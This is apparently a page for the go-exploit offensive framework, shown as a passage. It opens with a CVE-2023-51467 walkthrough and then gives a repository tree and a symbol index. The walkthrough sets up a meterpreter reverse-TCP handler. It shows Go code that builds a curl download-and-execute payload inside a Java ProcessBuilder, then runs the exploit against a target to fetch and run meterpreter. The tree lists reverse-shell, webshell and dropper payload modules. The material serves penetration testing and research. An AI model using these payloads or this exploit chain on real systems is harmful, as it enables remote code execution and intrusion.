PAYLOAD => linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.91
LHOST => 192.168.1.91
msf6 exploit(multi/handler) > set LPORT 1270
LPORT => 1270
msf6 exploit(multi/handler) > run
```

We can then throw the exploit that will trigger a download of the file from `go-exploit`. The CVE-2023-51467 achieves that with the following payload:

```sh
case c2.HTTPServeFile:
    output.PrintfStatus("Sending a curl payload for port %s:%d", conf.Lhost, conf.Lport)
    curlCommand := payload.LinuxCurlHTTPDownloadAndExecute(conf.Lhost, conf.Lport,
        httpservefile.GetInstance().TLS,
        httpservefile.GetInstance().GetRandomName(""))
    generated = fmt.Sprintf(`new java.lang.ProcessBuilder("/bin/sh", "-c", "%s").start()`, curlCommand)
```

Note that we are using the builtin `go-exploit` function `payload.LinuxCurlHTTPDownloadAndExecute` configured with the user provided `TLS` setting and a random filename.

From the command line this is invoked like so:

```sh
albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 192.168.1.179 -rport 8443 -c2 HTTPServeFile -lhost 192.168.1.91 -lport 8181 -httpServeFile.FilesToServe /tmp/meterpreter 
time=2024-03-05T05:51:53.307-05:00 level=STATUS msg="Loading the provided file: /tmp/meterpreter"
time=2024-03-05T05:51:53.310-05:00 level=STATUS msg="Starting target" index=0 host=192.168.1.179 port=8443 ssl=false "ssl auto"=true
time=2024-03-05T05:51:53.310-05:00 level=STATUS msg="Starting an HTTP server on 192.168.1.91
Download .txt
gitextract_2r412ve6/

├── .github/
│   ├── dependabot.yml
│   └── workflows/
│       ├── go.yml
│       └── useragent-update.yml
├── .gitignore
├── .golangci.yml
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── _uaupdate/
│   ├── README.md
│   └── main.go
├── aspnet/
│   ├── aspnet.go
│   └── aspnet_test.go
├── c2/
│   ├── channel/
│   │   └── channel.go
│   ├── cli/
│   │   └── basic.go
│   ├── external/
│   │   └── external.go
│   ├── factory.go
│   ├── factory_test.go
│   ├── httpservefile/
│   │   └── httpservefile.go
│   ├── httpserveshell/
│   │   └── httpserveshell.go
│   ├── httpshellserver/
│   │   └── httpshellserver.go
│   ├── shelltunnel/
│   │   └── shelltunnel.go
│   ├── simpleshell/
│   │   ├── simpleshellclient.go
│   │   └── simpleshellserver.go
│   └── sslshell/
│       └── sslshellserver.go
├── cli/
│   ├── commandline.go
│   └── commandline_test.go
├── config/
│   ├── config.go
│   └── config_test.go
├── db/
│   ├── create.go
│   ├── get.go
│   └── update.go
├── docs/
│   ├── c2.md
│   ├── custom-payloads.md
│   ├── db.md
│   ├── development.md
│   ├── exploit-types.md
│   ├── getting-started.md
│   ├── output.md
│   ├── scanning.md
│   ├── usage-example.md
│   ├── version-checking.md
│   └── windows-lpe.md
├── dotnet/
│   ├── data/
│   │   └── ReturnMessage.xml
│   ├── dotnetgadget.go
│   ├── dotnetgadget_test.go
│   ├── formatters.go
│   ├── general_types.go
│   ├── records.go
│   ├── viewstate.go
│   └── viewstate_test.go
├── encryption/
│   ├── aes.go
│   ├── aes_crypto.go
│   ├── aes_crypto_test.go
│   ├── certificate.go
│   ├── des.go
│   ├── kdf.go
│   ├── xor.go
│   └── xor_test.go
├── framework.go
├── framework_test.go
├── go.mod
├── go.sum
├── java/
│   ├── constants.go
│   ├── gadget_test.go
│   ├── gadgets.go
│   ├── javaclass.go
│   ├── javagadget.go
│   ├── ldapjndi/
│   │   └── ldapjndi.go
│   └── objects.go
├── output/
│   ├── commonlog.go
│   ├── exploitlog.go
│   └── frameworklog.go
├── payload/
│   ├── bindshell/
│   │   ├── bindshell.go
│   │   ├── bindshell_test.go
│   │   ├── netcat.go
│   │   └── telnet.go
│   ├── dropper/
│   │   ├── dropper.go
│   │   ├── dropper_test.go
│   │   ├── groovy.go
│   │   ├── php/
│   │   │   ├── dropper.php
│   │   │   └── dropper_secure.php
│   │   ├── php.go
│   │   ├── unix.go
│   │   └── windows.go
│   ├── encode.go
│   ├── encode_test.go
│   ├── fileplant/
│   │   ├── cron.go
│   │   └── fileplant_test.go
│   ├── payload.go
│   ├── payload_test.go
│   ├── reverse/
│   │   ├── bash.go
│   │   ├── gjscript/
│   │   │   └── glib_spawn.gjs
│   │   ├── gjscript.go
│   │   ├── groovy/
│   │   │   └── classic.groovy
│   │   ├── groovy.go
│   │   ├── java/
│   │   │   └── process_builder.java
│   │   ├── java.go
│   │   ├── jjs/
│   │   │   ├── reverse_shell.jjs
│   │   │   └── reverse_shell_ssl.jjs
│   │   ├── jjs.go
│   │   ├── js.go
│   │   ├── netcat.go
│   │   ├── nodejs/
│   │   │   ├── reverse.js
│   │   │   └── reverse_tls.js
│   │   ├── openssl.go
│   │   ├── perl.go
│   │   ├── php/
│   │   │   ├── unflattened.php
│   │   │   └── unflattened_self_delete.php
│   │   ├── php.go
│   │   ├── python/
│   │   │   ├── reverse27.py
│   │   │   ├── reverse27_secure.py
│   │   │   └── reverse3_12_secure.py
│   │   ├── python.go
│   │   ├── reverse.go
│   │   ├── reverse_test.go
│   │   ├── ruby.go
│   │   ├── telnet.go
│   │   ├── vbs/
│   │   │   └── reverse_http.vbs
│   │   └── vbs.go
│   ├── webshell/
│   │   ├── aspx.go
│   │   ├── bash.go
│   │   ├── jsp/
│   │   │   ├── webshell.jsp
│   │   │   └── webshell_min.jsp
│   │   ├── jsp.go
│   │   ├── php.go
│   │   ├── webshell.go
│   │   └── webshell_test.go
│   ├── wrapper.go
│   └── wrapper_test.go
├── product/
│   ├── asus/
│   │   └── asus.go
│   ├── product.go
│   └── wordpress/
│       ├── plugins.go
│       └── wordpress.go
├── protocol/
│   ├── afp/
│   │   └── afp.go
│   ├── ajp/
│   │   ├── ajp.go
│   │   └── ajp_test.go
│   ├── dotnetremoting/
│   │   └── dotnetremoting.go
│   ├── fortinet/
│   │   └── fgfm.go
│   ├── http-user-agent.txt
│   ├── httphelper.go
│   ├── httphelper_test.go
│   ├── ikev2/
│   │   ├── ikev2.go
│   │   ├── ikev2_test.go
│   │   ├── packs.go
│   │   └── types.go
│   ├── mikrotik/
│   │   ├── mikrotik_test.go
│   │   ├── msg.go
│   │   ├── webfig.go
│   │   └── winbox.go
│   ├── rocketmq/
│   │   ├── remoting.go
│   │   └── remoting_test.go
│   ├── sip/
│   │   ├── examples/
│   │   │   ├── README.md
│   │   │   ├── call/
│   │   │   │   └── main.go
│   │   │   ├── docker-compose.yml
│   │   │   ├── ping/
│   │   │   │   └── main.go
│   │   │   └── tcp/
│   │   │       └── main.go
│   │   ├── helper.go
│   │   ├── helper_test.go
│   │   └── user-agent.txt
│   ├── tcpsocket.go
│   └── udpsocket.go
├── random/
│   ├── random.go
│   └── random_test.go
├── search/
│   ├── search_test.go
│   ├── semver.go
│   └── xpath.go
├── transform/
│   ├── encode.go
│   ├── encode_test.go
│   ├── escape.go
│   ├── escape_test.go
│   ├── parsing.go
│   ├── parsing_test.go
│   ├── transform.go
│   └── transform_test.go
└── windows/
    ├── alpc_other.go
    ├── alpc_test.go
    ├── alpc_windows.go
    ├── device_other.go
    ├── device_test.go
    ├── device_windows.go
    ├── fsctl_other.go
    ├── fsctl_windows.go
    ├── handle_other.go
    ├── handle_test.go
    ├── handle_windows.go
    ├── memory_other.go
    ├── memory_test.go
    ├── memory_windows.go
    ├── platform_other.go
    ├── platform_windows.go
    ├── service_other.go
    ├── service_test.go
    ├── service_windows.go
    ├── token_other.go
    ├── token_test.go
    ├── token_windows.go
    ├── windows.go
    └── windows_test.go
Download .txt
SYMBOL INDEX (1760 symbols across 154 files)

FILE: _uaupdate/main.go
  function main (line 11) | func main() {

FILE: aspnet/aspnet.go
  type State (line 57) | type State struct
    method AsParams (line 81) | func (state *State) AsParams() map[string]string {
    method MergeParams (line 106) | func (state *State) MergeParams(p map[string]string) map[string]string {
    method Update (line 114) | func (state *State) Update(body string) {
  function xPathQuiet (line 67) | func xPathQuiet(document, path string) (string, bool) {

FILE: aspnet/aspnet_test.go
  function TestState_Full (line 50) | func TestState_Full(t *testing.T) {
  function TestState_Each (line 104) | func TestState_Each(t *testing.T) {
  function TestState_Merge (line 163) | func TestState_Merge(t *testing.T) {

FILE: c2/channel/channel.go
  type Channel (line 17) | type Channel struct
    method HadSessions (line 43) | func (c *Channel) HadSessions() bool {
    method HasSessions (line 56) | func (c *Channel) HasSessions() bool {
    method AddSession (line 69) | func (c *Channel) AddSession(conn *net.Conn, addr string) bool {
    method UpdateLastSeenByConn (line 97) | func (c *Channel) UpdateLastSeenByConn(conn net.Conn, timeStamp time.T...
    method GetSessionIDByConn (line 117) | func (c *Channel) GetSessionIDByConn(conn net.Conn) (string, bool) {
    method RemoveSession (line 136) | func (c *Channel) RemoveSession(id string) bool {
    method RemoveSessions (line 158) | func (c *Channel) RemoveSessions() bool {
  type Session (line 30) | type Session struct

FILE: c2/cli/basic.go
  function backgroundResponse (line 19) | func backgroundResponse(ch *channel.Channel, wg *sync.WaitGroup, conn ne...
  function Basic (line 65) | func Basic(conn net.Conn, ch *channel.Channel) {

FILE: c2/external/external.go
  type Server (line 165) | type Server struct
    method SetFlags (line 213) | func (externalServer *Server) SetFlags(f func()) {
    method CreateFlags (line 222) | func (externalServer *Server) CreateFlags() {
    method SetInit (line 232) | func (externalServer *Server) SetInit(f func()) {
    method SetChannel (line 245) | func (externalServer *Server) SetChannel(f func(*channel.Channel)) {
    method Init (line 250) | func (externalServer *Server) Init(channel *channel.Channel) bool {
    method SetRun (line 265) | func (externalServer *Server) SetRun(f func(int) bool) {
    method Run (line 270) | func (externalServer *Server) Run(timeout int) {
    method SetShutdown (line 277) | func (externalServer *Server) SetShutdown(f func() bool) {
    method Shutdown (line 282) | func (externalServer *Server) Shutdown() bool {
    method Channel (line 287) | func (externalServer *Server) Channel() *channel.Channel {
  type External (line 178) | type External interface
  function GetInstance (line 191) | func GetInstance(externalName string) *Server {

FILE: c2/factory.go
  type Interface (line 17) | type Interface interface
  type Impl (line 27) | type Impl struct
  type category (line 33) | type category
  constant InvalidCategory (line 36) | InvalidCategory           category = -1
  constant SimpleShellServerCategory (line 37) | SimpleShellServerCategory category = 0
  constant SimpleShellClientCategory (line 38) | SimpleShellClientCategory category = 1
  constant SSLShellServerCategory (line 39) | SSLShellServerCategory    category = 2
  constant HTTPServeFileCategory (line 40) | HTTPServeFileCategory     category = 3
  constant HTTPServeShellCategory (line 41) | HTTPServeShellCategory    category = 4
  constant ExternalCategory (line 42) | ExternalCategory          category = 5
  constant ShellTunnelCategory (line 43) | ShellTunnelCategory       category = 6
  constant HTTPShellServerCategory (line 44) | HTTPShellServerCategory   category = 7
  function AddC2 (line 81) | func AddC2(name string) Impl {
  function GetInstance (line 97) | func GetInstance(implementation Impl) (Interface, bool) {
  function CreateFlags (line 128) | func CreateFlags(implementation Impl) {
  function HadSessions (line 157) | func HadSessions(implementation Impl) bool {
  function HasSessions (line 188) | func HasSessions(implementation Impl) bool {
  function StringToImpl (line 217) | func StringToImpl(c2Name string) (Impl, bool) {

FILE: c2/factory_test.go
  function TestHTTPServeFileInit (line 10) | func TestHTTPServeFileInit(t *testing.T) {
  function TestExternalModuleSingleton (line 47) | func TestExternalModuleSingleton(t *testing.T) {
  function TestExternalModuleAddC2 (line 66) | func TestExternalModuleAddC2(t *testing.T) {

FILE: c2/httpservefile/httpservefile.go
  type HostedFile (line 43) | type HostedFile struct
  type Server (line 52) | type Server struct
    method CreateFlags (line 89) | func (httpServer *Server) CreateFlags() {
    method Channel (line 102) | func (httpServer *Server) Channel() *channel.Channel {
    method Shutdown (line 107) | func (httpServer *Server) Shutdown() bool {
    method Init (line 123) | func (httpServer *Server) Init(channel *channel.Channel) bool {
    method AddFile (line 211) | func (httpServer *Server) AddFile(realName string, randomName string, ...
    method Run (line 217) | func (httpServer *Server) Run(timeout int) {
    method GetRandomName (line 319) | func (httpServer *Server) GetRandomName(filename string) string {
  function GetInstance (line 78) | func GetInstance() *Server {

FILE: c2/httpserveshell/httpserveshell.go
  type Server (line 46) | type Server struct
    method CreateFlags (line 70) | func (serveShell *Server) CreateFlags() {
    method Init (line 82) | func (serveShell *Server) Init(ch *channel.Channel) bool {
    method Shutdown (line 121) | func (serveShell *Server) Shutdown() bool {
    method Channel (line 197) | func (serveShell *Server) Channel() *channel.Channel {
    method Run (line 202) | func (serveShell *Server) Run(timeout int) {
  function GetInstance (line 61) | func GetInstance() *Server {

FILE: c2/httpshellserver/httpshellserver.go
  type Server (line 31) | type Server struct
    method Init (line 63) | func (httpServer *Server) Init(channel *channel.Channel) bool {
    method CreateFlags (line 121) | func (httpServer *Server) CreateFlags() {
    method Channel (line 129) | func (httpServer *Server) Channel() *channel.Channel {
    method Shutdown (line 134) | func (httpServer *Server) Shutdown() bool {
    method Run (line 152) | func (httpServer *Server) Run(timeout int) {
  function GetInstance (line 55) | func GetInstance() *Server {

FILE: c2/shelltunnel/shelltunnel.go
  type Server (line 67) | type Server struct
    method CreateFlags (line 107) | func (shellTunnel *Server) CreateFlags() {
    method Init (line 118) | func (shellTunnel *Server) Init(channel *channel.Channel) bool {
    method Shutdown (line 161) | func (shellTunnel *Server) Shutdown() bool {
    method Channel (line 178) | func (shellTunnel *Server) Channel() *channel.Channel {
    method Run (line 182) | func (shellTunnel *Server) Run(timeout int) {
    method createTLSListener (line 226) | func (shellTunnel *Server) createTLSListener(channel *channel.Channel)...
  function GetInstance (line 99) | func GetInstance() *Server {
  function handleTunnelConn (line 257) | func handleTunnelConn(clientConn net.Conn, host string, port int, ssl bo...

FILE: c2/simpleshell/simpleshellclient.go
  type Client (line 14) | type Client struct
    method CreateFlags (line 30) | func (shellClient *Client) CreateFlags() {
    method Shutdown (line 33) | func (shellClient *Client) Shutdown() bool {
    method Channel (line 46) | func (shellClient *Client) Channel() *channel.Channel {
    method Init (line 50) | func (shellClient *Client) Init(channel *channel.Channel) bool {
    method Run (line 78) | func (shellClient *Client) Run(timeout int) {
  function GetClientInstance (line 22) | func GetClientInstance() *Client {
  function connect (line 103) | func connect(host string, port int, timeout int) (net.Conn, bool) {

FILE: c2/simpleshell/simpleshellserver.go
  type Server (line 22) | type Server struct
    method CreateFlags (line 39) | func (shellServer *Server) CreateFlags() {
    method Channel (line 43) | func (shellServer *Server) Channel() *channel.Channel {
    method Shutdown (line 48) | func (shellServer *Server) Shutdown() bool {
    method Init (line 66) | func (shellServer *Server) Init(channel *channel.Channel) bool {
    method Run (line 95) | func (shellServer *Server) Run(timeout int) {
  function GetServerInstance (line 30) | func GetServerInstance() *Server {
  function handleSimpleConn (line 137) | func handleSimpleConn(conn net.Conn, cliLock *sync.Mutex, remoteAddr net...

FILE: c2/sslshell/sslshellserver.go
  type Server (line 35) | type Server struct
    method CreateFlags (line 58) | func (shellServer *Server) CreateFlags() {
    method Shutdown (line 68) | func (shellServer *Server) Shutdown() bool {
    method Channel (line 86) | func (shellServer *Server) Channel() *channel.Channel {
    method Init (line 92) | func (shellServer *Server) Init(channel *channel.Channel) bool {
    method Run (line 142) | func (shellServer *Server) Run(timeout int) {
  function GetInstance (line 49) | func GetInstance() *Server {
  function handleSimpleConn (line 184) | func handleSimpleConn(conn net.Conn, cliLock *sync.Mutex, remoteAddr net...

FILE: cli/commandline.go
  type IPIntel (line 28) | type IPIntel struct
  type CustomFlag (line 35) | type CustomFlag struct
  function inc (line 42) | func inc(ip net.IP) {
  function generateIPv4CIDR (line 52) | func generateIPv4CIDR(cidr string) []string {
  function buildRhosts (line 68) | func buildRhosts(conf *config.Config, rhosts string, rports string) bool {
  function parseTriplet (line 129) | func parseTriplet(conf *config.Config, line string) bool {
  function parseTuple (line 163) | func parseTuple(conf *config.Config, line string) bool {
  function parseIPIntel (line 196) | func parseIPIntel(conf *config.Config, line string) bool {
  function parseRhostsFile (line 230) | func parseRhostsFile(conf *config.Config, rhostsFile string) bool {
  function handleRhostsOptions (line 273) | func handleRhostsOptions(conf *config.Config, rhosts string, rports stri...
  function commonValidate (line 284) | func commonValidate(conf *config.Config, rhosts string, rports string, r...
  function proxyFlags (line 330) | func proxyFlags(proxy *string) {
  function handleProxyOptions (line 337) | func handleProxyOptions(proxy string) {
  function loggingFlags (line 347) | func loggingFlags(logFile *string, frameworkLogLevel *string, exploitLog...
  function handleLogOptions (line 360) | func handleLogOptions(logFile string, frameworkLogLevel string, exploitL...
  function remoteHostFlags (line 385) | func remoteHostFlags(conf *config.Config, rhosts *string, rhostsFile *st...
  function localHostFlags (line 399) | func localHostFlags(conf *config.Config) {
  function exploitFunctionality (line 405) | func exploitFunctionality(conf *config.Config) {
  function sslFlags (line 412) | func sslFlags(conf *config.Config) {
  function dbFlags (line 418) | func dbFlags(conf *config.Config) {
  function c2Flags (line 424) | func c2Flags(c2Selection *string, conf *config.Config) {
  function validateC2Selection (line 459) | func validateC2Selection(c2Selection string, conf *config.Config) bool {
  function printDetails (line 484) | func printDetails(conf *config.Config) {
  function CodeExecutionCmdLineParse (line 541) | func CodeExecutionCmdLineParse(conf *config.Config) bool {
  function InformationDisclosureCmdLineParse (line 608) | func InformationDisclosureCmdLineParse(conf *config.Config) bool {
  function WebShellCmdLineParse (line 651) | func WebShellCmdLineParse(conf *config.Config) bool {
  function loadFileFormatTemplate (line 694) | func loadFileFormatTemplate(templateFilePath string, conf *config.Config...
  function FormatFileCmdLineParse (line 729) | func FormatFileCmdLineParse(conf *config.Config) bool {
  function LocalCmdLineParse (line 797) | func LocalCmdLineParse(conf *config.Config) bool {
  function addDefaultPayloadFlags (line 845) | func addDefaultPayloadFlags(conf *config.Config) (string, string, map[pa...
  function addPayloadFlags (line 906) | func addPayloadFlags(conf *config.Config) {

FILE: cli/commandline_test.go
  function TestCodeExecutionCmdLineParse (line 11) | func TestCodeExecutionCmdLineParse(t *testing.T) {
  function TestCommonValidate (line 46) | func TestCommonValidate(t *testing.T) {
  function TestRhostsParsing (line 76) | func TestRhostsParsing(t *testing.T) {
  function TestParseTuple (line 146) | func TestParseTuple(t *testing.T) {
  function TestParseTriplet (line 198) | func TestParseTriplet(t *testing.T) {
  function TestParseIntelJSON (line 250) | func TestParseIntelJSON(t *testing.T) {
  function TestFileFormatParams (line 290) | func TestFileFormatParams(t *testing.T) {

FILE: config/config.go
  type ExploitType (line 18) | type ExploitType
    method String (line 129) | func (eType ExploitType) String() string {
  constant CodeExecution (line 21) | CodeExecution         ExploitType = 0
  constant InformationDisclosure (line 22) | InformationDisclosure ExploitType = 1
  constant Webshell (line 23) | Webshell              ExploitType = 2
  constant FileFormat (line 24) | FileFormat            ExploitType = 3
  constant Local (line 25) | Local                 ExploitType = 4
  type ImplementedFeatures (line 28) | type ImplementedFeatures struct
  type SSLSupport (line 34) | type SSLSupport
  constant SSLDisabled (line 37) | SSLDisabled     SSLSupport = 0
  constant SSLEnabled (line 38) | SSLEnabled      SSLSupport = 1
  constant SSLAutodiscover (line 39) | SSLAutodiscover SSLSupport = 2
  type RhostTriplet (line 42) | type RhostTriplet struct
  type Config (line 51) | type Config struct
    method InitFlagsStructs (line 228) | func (conf *Config) InitFlagsStructs() {
    method CreateStringFlag (line 237) | func (conf *Config) CreateStringFlag(name string, value string, usage ...
    method CreateStringVarFlag (line 249) | func (conf *Config) CreateStringVarFlag(param *string, name string, va...
    method CreateUintFlag (line 260) | func (conf *Config) CreateUintFlag(name string, value uint, usage stri...
    method CreateUintVarFlag (line 272) | func (conf *Config) CreateUintVarFlag(param *uint, name string, value ...
    method CreateIntFlag (line 283) | func (conf *Config) CreateIntFlag(name string, value int, usage string) {
    method CreateIntVarFlag (line 295) | func (conf *Config) CreateIntVarFlag(param *int, name string, value in...
    method CreateBoolFlag (line 306) | func (conf *Config) CreateBoolFlag(name string, value bool, usage stri...
    method CreateBoolVarFlag (line 318) | func (conf *Config) CreateBoolVarFlag(param *bool, name string, value ...
    method GetStringFlag (line 328) | func (conf *Config) GetStringFlag(name string) string {
    method GetUintFlag (line 340) | func (conf *Config) GetUintFlag(name string) uint {
    method GetIntFlag (line 352) | func (conf *Config) GetIntFlag(name string) int {
    method GetBoolFlag (line 364) | func (conf *Config) GetBoolFlag(name string) bool {
    method ApplyTemplate (line 401) | func (conf *Config) ApplyTemplate(name string) string {
    method GenerateURL (line 421) | func (conf *Config) GenerateURL(path string) string {
    method DisableC2Start (line 431) | func (conf *Config) DisableC2Start() {
    method ResolveC2Payload (line 439) | func (conf *Config) ResolveC2Payload() c2.Impl {
    method AddPayload (line 521) | func (conf *Config) AddPayload(p ...payload.Supported) {
    method HasCustomPayload (line 541) | func (conf *Config) HasCustomPayload() bool {
  function New (line 147) | func New(extype ExploitType, supportedC2 []c2.Impl, product string, cve ...
  function NewLocal (line 160) | func NewLocal(extype ExploitType, supportedC2 []c2.Impl, product string,...
  function NewRemoteExploit (line 178) | func NewRemoteExploit(implemented ImplementedFeatures, extype ExploitTyp...
  function deDupeProductName (line 199) | func deDupeProductName(product []string, vendor string) string {
  function NewLocalExploit (line 209) | func NewLocalExploit(implemented ImplementedFeatures, extype ExploitType...

FILE: config/config_test.go
  function TestDefaultFlags (line 11) | func TestDefaultFlags(t *testing.T) {
  function TestExternalDefaultFlags (line 42) | func TestExternalDefaultFlags(t *testing.T) {
  function TestApplyTemplate (line 77) | func TestApplyTemplate(t *testing.T) {
  function TestGenerateURL (line 102) | func TestGenerateURL(t *testing.T) {

FILE: db/create.go
  constant schemaVersion (line 38) | schemaVersion = "1.0.0"
  constant metadataTable (line 40) | metadataTable     = `CREATE TABLE IF NOT EXISTS metadata (created INTEGE...
  constant initMetadataTable (line 41) | initMetadataTable = `INSERT INTO metadata (created, schema_version) VALU...
  constant checkMetadata (line 42) | checkMetadata     = `SELECT name FROM sqlite_master WHERE type ='table' ...
  constant getSchemaVersion (line 43) | getSchemaVersion  = `SELECT schema_version FROM metadata;`
  constant verifiedTable (line 45) | verifiedTable = `CREATE TABLE IF NOT EXISTS verified(` +
  constant httpCacheTable (line 54) | httpCacheTable = `CREATE TABLE IF NOT EXISTS http_cache(` +
  function InitializeDB (line 63) | func InitializeDB(name string) bool {
  function checkMetadataExists (line 92) | func checkMetadataExists(handle *sql.DB) bool {
  function createMetadataTable (line 99) | func createMetadataTable(handle *sql.DB) bool {
  function checkSchemaVersion (line 117) | func checkSchemaVersion(handle *sql.DB) bool {
  function createVerifiedSoftwareTable (line 135) | func createVerifiedSoftwareTable(handle *sql.DB) bool {
  function createHTTPCacheTable (line 146) | func createHTTPCacheTable(handle *sql.DB) bool {

FILE: db/get.go
  constant getCacheData (line 4) | getCacheData = `SELECT data FROM http_cache WHERE rhost = ? AND rport = ...
  constant getInstalled (line 5) | getInstalled = `SELECT installed FROM verified WHERE software_name = ? A...
  function GetHTTPResponse (line 9) | func GetHTTPResponse(rhost string, rport int, path string) (string, bool) {
  function GetVerified (line 22) | func GetVerified(product string, rhost string, rport int) (bool, bool) {

FILE: db/update.go
  constant verifiedUpsert (line 12) | verifiedUpsert = `INSERT INTO verified (id, created, software_name, inst...
  constant cacheUpsert (line 21) | cacheUpsert = `INSERT INTO http_cache (id, created, rhost, rport, uri, d...
  function UpdateVerified (line 30) | func UpdateVerified(software string, installed bool, version string, rho...
  function CacheHTTPResponse (line 46) | func CacheHTTPResponse(rhost string, rport int, path string, httpResp []...

FILE: dotnet/dotnetgadget.go
  function ReadGadget (line 52) | func ReadGadget(gadgetName, formatter string) ([]byte, error) {
  function lengthPrefixedString (line 61) | func lengthPrefixedString(input string) string {
  function Write7BitEncodedInt (line 69) | func Write7BitEncodedInt(value int) []byte {
  function TextFormattingRunPropertiesBinaryFormatter (line 86) | func TextFormattingRunPropertiesBinaryFormatter(cmd string) string {
  function IsValidXML (line 108) | func IsValidXML(data []byte) bool {
  function CreateAxHostStateDLL (line 112) | func CreateAxHostStateDLL(dllBytes []byte, formatter string) (string, bo...
  function CreateDLLReflection (line 170) | func CreateDLLReflection(dllBytes []byte, formatter string) (string, boo...
  function CreateDataSetXMLDiffGram (line 1052) | func CreateDataSetXMLDiffGram(payloadIn string) (string, bool) {
  function CreateTextFormattingRunProperties (line 1125) | func CreateTextFormattingRunProperties(program string, args string, form...
  function CreateDataSet (line 1178) | func CreateDataSet(program string, args string, formatter string) (strin...
  function CreateObjectDataProvider (line 1315) | func CreateObjectDataProvider(program string, args string, formatter str...
  function CreateTypeConfuseDelegate (line 1350) | func CreateTypeConfuseDelegate(program string, args string, formatter st...
  function CreateWindowsIdentity (line 1613) | func CreateWindowsIdentity(program string, args string, formatter string...
  function CreateClaimsPrincipal (line 1678) | func CreateClaimsPrincipal(program string, args string, formatter string...
  function CreateDataSetTypeSpoof (line 1742) | func CreateDataSetTypeSpoof(program string, args string, formatter strin...
  function CreateVeeamCryptoKeyInfo (line 1887) | func CreateVeeamCryptoKeyInfo(url string, formatter string) (string, boo...
  function CreateObjectRef (line 2038) | func CreateObjectRef(url string, formatter string) (string, bool) {

FILE: dotnet/dotnetgadget_test.go
  function TestTextFormattingRunPropertiesBinaryFormatter (line 9) | func TestTextFormattingRunPropertiesBinaryFormatter(t *testing.T) {
  function TestGetBinaryLibraryRecord (line 25) | func TestGetBinaryLibraryRecord(t *testing.T) {
  function TestGetClassInfo (line 34) | func TestGetClassInfo(t *testing.T) {
  function TestGetMemberTypeInfo (line 43) | func TestGetMemberTypeInfo(t *testing.T) {
  function TestGetSerializationHeaderRecord (line 53) | func TestGetSerializationHeaderRecord(t *testing.T) {
  function TestGetBinaryObjectString (line 62) | func TestGetBinaryObjectString(t *testing.T) {
  function TestCreateTextFormattingRunProperties (line 86) | func TestCreateTextFormattingRunProperties(t *testing.T) {
  function TestFormatLOS (line 94) | func TestFormatLOS(t *testing.T) {
  function TestFormatSOAPWindowsIdentity (line 103) | func TestFormatSOAPWindowsIdentity(t *testing.T) {
  function TestFormatSOAPDataSet (line 110) | func TestFormatSOAPDataSet(t *testing.T) {
  function TestFormatSOAP (line 117) | func TestFormatSOAP(t *testing.T) {
  function TestCreateDataSet (line 124) | func TestCreateDataSet(t *testing.T) {
  function TestCreateObjectDataProvider (line 137) | func TestCreateObjectDataProvider(t *testing.T) {
  function TestCreateTypeConfuseDelegate (line 144) | func TestCreateTypeConfuseDelegate(t *testing.T) {
  function TestCreateClaimsPrincipal (line 151) | func TestCreateClaimsPrincipal(t *testing.T) {
  function TestCreateCreateDataSetTypeSpoof (line 158) | func TestCreateCreateDataSetTypeSpoof(t *testing.T) {
  function TestPrimitiveByte (line 165) | func TestPrimitiveByte(t *testing.T) {
  function TestCreateObjectRef (line 172) | func TestCreateObjectRef(t *testing.T) {
  function TestCreateVeeamCryptoKeyInfo (line 179) | func TestCreateVeeamCryptoKeyInfo(t *testing.T) {
  function TestViewstateGeneration (line 186) | func TestViewstateGeneration(t *testing.T) {
  function TestCreateAxHostStateDLL (line 204) | func TestCreateAxHostStateDLL(t *testing.T) {
  function TestPrimToString (line 214) | func TestPrimToString(t *testing.T) {

FILE: dotnet/formatters.go
  constant LOSFormatter (line 18) | LOSFormatter                = "LOSFormatter"
  constant BinaryFormatter (line 19) | BinaryFormatter             = "BinaryFormatter"
  constant SOAPFormatter (line 20) | SOAPFormatter               = "SOAPFormatter"
  constant SOAPFormatterWithExceptions (line 21) | SOAPFormatterWithExceptions = "SOAPFormatterWithExceptions"
  function FormatLOS (line 24) | func FormatLOS(input string) string {
  type SOAPEnvelope (line 34) | type SOAPEnvelope struct
  type Body (line 46) | type Body struct
    method addClassWithMemberAndTypes (line 89) | func (body *Body) addClassWithMemberAndTypes(n int, record ClassWithMe...
  type ClassDataNode (line 50) | type ClassDataNode struct
    method addAttribute (line 75) | func (classData *ClassDataNode) addAttribute(name string, value string) {
  type MemberNode (line 58) | type MemberNode struct
    method addAttribute (line 68) | func (memberNode *MemberNode) addAttribute(name string, value string) {
  function escapeTags (line 82) | func escapeTags(input string) string {
  function FormatSOAP (line 151) | func FormatSOAP(records []Record) (string, SOAPEnvelope, bool) {
  function FormatSOAPWithExceptions (line 207) | func FormatSOAPWithExceptions(records []Record) (string, bool) {

FILE: dotnet/general_types.go
  type Primitive (line 14) | type Primitive interface
  type PrimitiveInt16 (line 19) | type PrimitiveInt16
    method PrimToString (line 25) | func (me PrimitiveInt16) PrimToString() string {
  type PrimitiveInt32 (line 20) | type PrimitiveInt32
    method PrimToString (line 36) | func (me PrimitiveInt32) PrimToString() string {
  type PrimitiveByte (line 21) | type PrimitiveByte
    method PrimToString (line 40) | func (me PrimitiveByte) PrimToString() string {
  type PrimitiveByteString (line 22) | type PrimitiveByteString
    method PrimToString (line 32) | func (me PrimitiveByteString) PrimToString() string {
  type ClassInfo (line 108) | type ClassInfo struct
    method GetLeadingClassName (line 241) | func (classInfo ClassInfo) GetLeadingClassName() string {
    method GetBaseClassName (line 256) | func (classInfo ClassInfo) GetBaseClassName() string {
    method ToBin (line 270) | func (classInfo ClassInfo) ToBin() string {
  type ClassTypeInfo (line 120) | type ClassTypeInfo struct
  type MemberTypeInfo (line 127) | type MemberTypeInfo struct
    method ToBin (line 193) | func (memberTypeInfo MemberTypeInfo) ToBin() (string, bool) {
  function needsAdditionalInfo (line 134) | func needsAdditionalInfo(inType string) bool {
  function getMemberTypeInfo (line 152) | func getMemberTypeInfo(memberTypes []string, memberNames []string, addit...

FILE: dotnet/records.go
  type Record (line 12) | type Record interface
  type MemberPrimitiveTypedRecord (line 19) | type MemberPrimitiveTypedRecord struct
    method GetRecordType (line 148) | func (memberPrimitiveTypedRecord MemberPrimitiveTypedRecord) GetRecord...
    method ToXML (line 185) | func (memberPrimitiveTypedRecord MemberPrimitiveTypedRecord) ToXML(_ C...
    method ToRecordBin (line 398) | func (memberPrimitiveTypedRecord MemberPrimitiveTypedRecord) ToRecordB...
